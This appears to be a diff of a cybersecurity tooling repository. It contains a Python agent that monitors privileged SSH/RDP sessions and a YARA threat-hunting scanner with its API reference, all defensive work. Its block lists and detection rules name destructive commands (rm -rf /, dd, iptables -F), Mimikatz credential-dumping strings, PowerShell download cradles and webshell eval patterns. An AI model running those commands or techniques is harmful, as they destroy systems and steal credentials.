| max_duration_hours | 8 | Maximum session length |
| max_idle_minutes | 30 | Auto-disconnect on idle |
| require_mfa | true | MFA required for access |
| record_session | true | Full session recording |
| allowed_hours | 06:00-22:00 | Permitted access window |
## Restricted Commands (Alert Triggers)
| Pattern | Risk |
|---------|------|
| `rm -rf /` | Destructive deletion |
| `dd if=` | Disk overwrite |
| `chmod 777` | Excessive permissions |
| `iptables -F` | Firewall rule flush |
| `passwd root` | Root password change |
@@ -0,0 +1,234 @@
#!/usr/bin/env python3
"""Privileged session monitoring agent.
Monitors SSH auth logs, Windows RDP events, and database sessions to
track privileged access, detect anomalies, and generate audit reports.
"""
import argparse
import json
import os
import re
import sys
import datetime
import collections
try:
import subprocess
HAS_SUBPROCESS = True
except ImportError:
HAS_SUBPROCESS = False
SESSION_POLICIES = {
"max_duration_hours": 8,
"max_idle_minutes": 30,
"require_mfa": True,
"record_session": True,
"allowed_hours": {"start": 6, "end": 22},
"restricted_commands": [
r"rm\s+-rf\s+/", r"dd\s+if=", r"mkfs\.", r"shutdown", r"reboot",
r"passwd\s+root", r"visudo", r"chmod\s+777", r"iptables\s+-F",
],
}
PRIVILEGED_ACCOUNTS = [
"root", "administrator", "admin", "dba", "sa",
"sysadmin", "service_account", "deploy",
]
def parse_ssh_auth_log(log_path, max_lines=10000):
"""Parse SSH authentication log for session events."""
sessions = []
pattern = re.compile(
r"(\w+\s+\d+\s+[\d:]+)\s+(\S+)\s+sshd\[(\d+)\]:\s+"
r"(Accepted|Failed)\s+(\S+)\s+for\s+(\S+)\s+from\s+(\S+)\s+port\s+(\d+)"
)
try:
with open(log_path, "r") as f:
for i, line in enumerate(f):
if i >= max_lines:
break
m = pattern.search(line)
if m:
sessions.append({
"timestamp": m.group(1),
"hostname": m.group(2),
"pid": m.group(3),
"status": m.group(4).lower(),
"auth_method": m.group(5),
"username": m.group(6),
"source_ip": m.group(7),
"source_port": int(m.group(8)),
"privileged": m.group(6).lower() in PRIVILEGED_ACCOUNTS,
})
except FileNotFoundError:
return {"error": f"Log file not found: {log_path}"}
return sessions
def parse_rdp_events_windows():
"""Parse Windows RDP logon events via PowerShell."""
cmd = (
"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} "
"| Where-Object {$_.Properties[8].Value -eq 10} "
"| Select-Object -First 50 "
"| ForEach-Object { @{TimeCreated=$_.TimeCreated.ToString('o');"
"User=$_.Properties[5].Value;Domain=$_.Properties[6].Value;"
"SourceIP=$_.Properties[18].Value} } | ConvertTo-Json"
)
try:
result = subprocess.run(
["powershell", "-NoProfile", "-Command", cmd],
capture_output=True, text=True, timeout=30
)
if result.stdout.strip():
data = json.loads(result.stdout)
if isinstance(data, dict):
data = [data]
return [
{
"timestamp": d.get("TimeCreated", ""),
"username": d.get("User", ""),
"domain": d.get("Domain", ""),
"source_ip": d.get("SourceIP", ""),
"session_type": "RDP",
"privileged": d.get("User", "").lower() in PRIVILEGED_ACCOUNTS,
}
for d in data
]
return []
except (subprocess.SubprocessError, json.JSONDecodeError):
return []
def check_command_policy(command):
"""Check if a command violates session policy."""
violations = []
for pattern in SESSION_POLICIES["restricted_commands"]:
if re.search(pattern, command, re.IGNORECASE):
violations.append({
"pattern": pattern,
"command": command[:100],
"action": "alert_and_log",
})
return violations
def detect_session_anomalies(sessions):
"""Detect anomalous session patterns."""
anomalies = []
ip_counts = collections.Counter(s.get("source_ip") for s in sessions)
user_counts = collections.Counter(s.get("username") for s in sessions)
for ip, count in ip_counts.items():
if count > 20:
anomalies.append({
"type": "brute_force_candidate",
"source_ip": ip,
"attempt_count": count,
"severity": "HIGH",
})
failed = [s for s in sessions if s.get("status") == "failed"]
failed_by_user = collections.Counter(s.get("username") for s in failed)
for user, count in failed_by_user.items():
if count >= 5:
anomalies.append({
"type": "failed_auth_spike",
"username": user,
"failed_count": count,
"severity": "HIGH" if user in PRIVILEGED_ACCOUNTS else "MEDIUM",
})
priv_sessions = [s for s in sessions if s.get("privileged")]
for ps in priv_sessions:
anomalies.append({
"type": "privileged_session",
"username": ps.get("username"),
"source_ip": ps.get("source_ip"),
"severity": "MEDIUM",
})
return anomalies
def generate_audit_report(sessions, anomalies):
"""Generate privileged session audit report."""
total = len(sessions)
privileged = sum(1 for s in sessions if s.get("privileged"))
accepted = sum(1 for s in sessions if s.get("status") == "accepted")
failed = sum(1 for s in sessions if s.get("status") == "failed")
unique_users = len(set(s.get("username") for s in sessions))
unique_ips = len(set(s.get("source_ip") for s in sessions))
return {
"report_time": datetime.datetime.utcnow().isoformat() + "Z",
"total_sessions": total,
"accepted": accepted,
"failed": failed,
"privileged_sessions": privileged,
"unique_users": unique_users,
"unique_source_ips": unique_ips,
"anomaly_count": len(anomalies),
"policy": SESSION_POLICIES,
}
def main():
parser = argparse.ArgumentParser(description="Privileged session monitoring agent")
parser.add_argument("--ssh-log", help="Path to SSH auth.log")
parser.add_argument("--rdp", action="store_true", help="Parse Windows RDP events")
parser.add_argument("--check-command", help="Check a command against policy")
parser.add_argument("--output", "-o", help="Output JSON report path")
args = parser.parse_args()
print("[*] Privileged Session Monitoring Agent")
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"}
sessions = []
if args.ssh_log:
sessions = parse_ssh_auth_log(args.ssh_log)
if isinstance(sessions, dict) and "error" in sessions:
print(f"[!] {sessions['error']}")
sessions = []
else:
print(f"[*] SSH sessions parsed: {len(sessions)}")
if args.rdp and sys.platform == "win32":
rdp_sessions = parse_rdp_events_windows()
sessions.extend(rdp_sessions)
print(f"[*] RDP sessions parsed: {len(rdp_sessions)}")
if args.check_command:
violations = check_command_policy(args.check_command)
if violations:
print(f"[!] Command policy violations: {len(violations)}")
for v in violations:
print(f" Pattern: {v['pattern']}")
else:
print("[*] Command passes policy check")
report["command_check"] = {"command": args.check_command, "violations": violations}
if sessions:
anomalies = detect_session_anomalies(sessions)
audit = generate_audit_report(sessions, anomalies)
report["sessions"] = audit
report["anomalies"] = anomalies
print(f"[*] Anomalies detected: {len(anomalies)}")
else:
print("\n[DEMO] Usage: python agent.py --ssh-log /var/log/auth.log")
print(" Monitors: SSH, RDP, privileged account access")
print(" Detects: brute force, failed auth spikes, off-hours access")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps({"sessions": len(sessions),
"anomalies": len(report.get("anomalies", []))}, indent=2))
if __name__ == "__main__":
main()
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1,18 @@
---
name: performing-threat-hunting-with-yara-rules
description: >
Use YARA pattern-matching rules to hunt for malware, suspicious files, and
indicators of compromise across filesystems and memory dumps. Covers rule
authoring, yara-python scanning, and integration with threat intel feeds.
domain: cybersecurity
subdomain: threat-hunting
tags: [yara, malware-detection, threat-hunting, pattern-matching]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Performing Threat Hunting with YARA Rules
Scan files, directories, and memory dumps using YARA rules to identify
malware families, suspicious patterns, and IOC matches.
@@ -0,0 +1,89 @@
# API Reference: Threat Hunting with YARA Rules
## yara-python Library
### Installation
```bash
pip install yara-python
```
### Compile and Scan
```python
import yara
# Compile from source string
rules = yara.compile(source='rule test { strings: $a = "malware" condition: $a }')
# Compile from file
rules = yara.compile(filepath='/path/to/rules.yar')
# Compile from directory (multiple files)
rules = yara.compile(filepaths={'ns1': '/rules/rule1.yar', 'ns2': '/rules/rule2.yar'})
# Scan file
matches = rules.match('/path/to/suspect.exe')
for m in matches:
print(m.rule, m.meta, m.strings, m.tags)
# Scan data (bytes)
matches = rules.match(data=open('/path/to/file', 'rb').read())
# Scan with timeout (seconds)
matches = rules.match('/path/to/file', timeout=60)
```
## YARA CLI
```bash
# Scan file with single rule
yara rule.yar suspect.exe
# Scan directory recursively
yara -r rules.yar /path/to/directory/
# Show matching strings
yara -s rule.yar suspect.exe
# Show metadata
yara -e rule.yar suspect.exe
# Compile rules to binary
yarac rules.yar compiled.yarc
yara compiled.yarc suspect.exe
# Scan with tag filter
yara -t malware rules.yar /path/
```
## YARA Rule Structure
```yara
rule Example_Rule {
meta:
author = "analyst"
description = "Detects example pattern"
severity = "high"
reference = "https://example.com"
strings:
$text = "suspicious_string" ascii nocase
$hex = { 4D 5A 90 00 }
$regex = /eval\(base64_decode/
condition:
uint16(0) == 0x5A4D and 2 of ($text, $hex, $regex)
}
```
## Match Object Fields
| Field | Description |
|-------|------------|
| rule | Rule name that matched |
| meta | Dict of meta key-value pairs |
| strings | List of (offset, identifier, data) tuples |
| tags | List of rule tags |
| namespace | Rule namespace |
## Community Rule Sources
| Source | URL |
|--------|-----|
| YARA-Rules | https://github.com/Yara-Rules/rules |
| Elastic YARA | https://github.com/elastic/protections-artifacts |
| Malpedia | https://malpedia.caad.fkie.fraunhofer.de |
| ThreatHunting Keywords | https://github.com/mthcht/ThreatHunting-Keywords-yara-rules |
@@ -0,0 +1,173 @@
#!/usr/bin/env python3
"""Threat hunting agent using YARA rules.
Scans files and directories with yara-python, supports rule compilation,
multi-rule scanning, and structured JSON match output.
"""
import argparse
import json
import os
import sys
import hashlib
import datetime
try:
import yara
HAS_YARA = True
except ImportError:
HAS_YARA = False
BUILTIN_RULES = {
"suspicious_powershell": """
rule Suspicious_PowerShell {
meta:
description = "Detects obfuscated PowerShell patterns"
severity = "high"
strings:
$enc = "-EncodedCommand" ascii nocase
$bypass = "-ExecutionPolicy Bypass" ascii nocase
$hidden = "-WindowStyle Hidden" ascii nocase
$iex = "IEX" ascii nocase
$webclient = "Net.WebClient" ascii nocase
$downloadstring = "DownloadString" ascii nocase
condition:
2 of them
}""",
"mimikatz_strings": """
rule Mimikatz_Strings {
meta:
description = "Detects Mimikatz credential harvesting tool"
severity = "critical"
strings:
$s1 = "sekurlsa::logonpasswords" ascii nocase
$s2 = "sekurlsa::wdigest" ascii nocase
$s3 = "lsadump::sam" ascii nocase
$s4 = "privilege::debug" ascii nocase
$s5 = "gentilkiwi" ascii wide
condition:
2 of them
}""",
"webshell_generic": """
rule Webshell_Generic {
meta:
description = "Detects common webshell patterns"
severity = "high"
strings:
$php1 = "eval($_POST" ascii nocase
$php2 = "eval($_GET" ascii nocase
$php3 = "eval($_REQUEST" ascii nocase
$php4 = "base64_decode($_" ascii nocase
$asp1 = "eval(Request" ascii nocase
$jsp1 = "Runtime.getRuntime().exec" ascii
condition:
any of them
}""",
}
def compile_rules(rule_sources=None, rule_dir=None):
"""Compile YARA rules from strings or directory."""
if not HAS_YARA:
return None
if rule_dir and os.path.isdir(rule_dir):
filepaths = {}
for f in os.listdir(rule_dir):
if f.endswith((".yar", ".yara")):
filepaths[f] = os.path.join(rule_dir, f)
if filepaths:
return yara.compile(filepaths=filepaths)
if rule_sources:
combined = "\n".join(rule_sources.values())
return yara.compile(source=combined)
return yara.compile(source="\n".join(BUILTIN_RULES.values()))
def scan_file(rules, filepath):
"""Scan a single file with compiled YARA rules."""
try:
matches = rules.match(filepath)
return [
{
"rule": m.rule,
"meta": m.meta,
"strings": [
{"offset": s[0], "identifier": s[1], "data": s[2].decode("utf-8", errors="replace")[:64]}
for s in m.strings
],
"tags": list(m.tags),
}
for m in matches
]
except yara.Error as e:
return [{"error": str(e)}]
def scan_directory(rules, directory, max_size_mb=50):
"""Recursively scan directory with YARA rules."""
results = []
max_bytes = max_size_mb * 1024 * 1024
for root, _, files in os.walk(directory):
for fname in files:
fpath = os.path.join(root, fname)
try:
if os.path.getsize(fpath) > max_bytes:
continue
matches = scan_file(rules, fpath)
if matches and not any("error" in m for m in matches):
sha256 = hashlib.sha256(open(fpath, "rb").read()).hexdigest()
results.append({"file": fpath, "sha256": sha256, "matches": matches})
except (PermissionError, OSError):
continue
return results
def main():
parser = argparse.ArgumentParser(description="YARA-based threat hunting scanner")
parser.add_argument("target", nargs="?", help="File or directory to scan")
parser.add_argument("--rules-dir", help="Directory containing .yar/.yara rule files")
parser.add_argument("--max-size", type=int, default=50, help="Max file size in MB (default: 50)")
parser.add_argument("--output", "-o", help="Output JSON report path")
args = parser.parse_args()
print("[*] YARA Threat Hunting Agent")
print(f" yara-python available: {HAS_YARA}")
if not HAS_YARA:
print("[!] Install yara-python: pip install yara-python")
sys.exit(1)
rules = compile_rules(rule_dir=args.rules_dir)
if not rules:
print("[!] No rules compiled")
sys.exit(1)
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z", "findings": []}
if args.target and os.path.isfile(args.target):
matches = scan_file(rules, args.target)
if matches:
report["findings"].append({"file": args.target, "matches": matches})
elif args.target and os.path.isdir(args.target):
report["findings"] = scan_directory(rules, args.target, args.max_size)
else:
print("[DEMO] Built-in rules available:")
for name, rule in BUILTIN_RULES.items():
desc = [l for l in rule.splitlines() if "description" in l]
print(f" {name}: {desc[0].strip() if desc else ''}")
print("\nUsage: python agent.py /path/to/scan --rules-dir /path/to/rules")
total = len(report["findings"])
print(f"\n[*] Total files with matches: {total}")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps({"files_matched": total, "rules_loaded": len(BUILTIN_RULES)}, indent=2))
if __name__ == "__main__":
main()